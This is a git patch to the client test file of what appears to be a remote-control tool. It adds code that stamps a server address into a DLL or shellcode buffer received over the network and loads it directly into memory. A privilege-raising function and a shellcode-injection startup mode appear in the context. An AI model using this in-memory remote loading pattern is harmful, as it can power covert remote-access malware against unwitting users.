From 35df6677aaa6429c87016decc967ae8d2670fbce Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Thu, 29 May 2025 02:52:28 +0800 Subject: [PATCH] fix: Showing the correct `MDLL` client type --- client/test.cpp | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/client/test.cpp b/client/test.cpp index ec7efca..25b6c4c 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -28,11 +28,7 @@ BOOL status = 0; HANDLE hEvent = NULL; -#ifdef _DEBUG CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_InjSC }; -#else -CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_InjSC }; -#endif //ÌáÉýȨÏÞ void DebugPrivilege() @@ -248,6 +244,15 @@ public: auto buffer = ReceiveDll(size); if (nullptr == buffer) return nullptr; + int pos = MemoryFind(buffer, FLAG_FINDEN, size, sizeof(FLAG_FINDEN) - 1); + if (-1 != pos) { + CONNECT_ADDRESS* addr = (CONNECT_ADDRESS*)(buffer + pos); + BYTE type = buffer[sizeof(PkgHeader) + 1]; + addr->iType = type == MEMORYDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE; + memset(addr->szFlag, 0, sizeof(addr->szFlag)); + strcpy(addr->szServerIP, g_ConnectAddress.ServerIP()); + sprintf_s(addr->szPort, "%d", g_ConnectAddress.ServerPort()); + } m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size); SAFE_DELETE_ARRAY(buffer); return m_mod;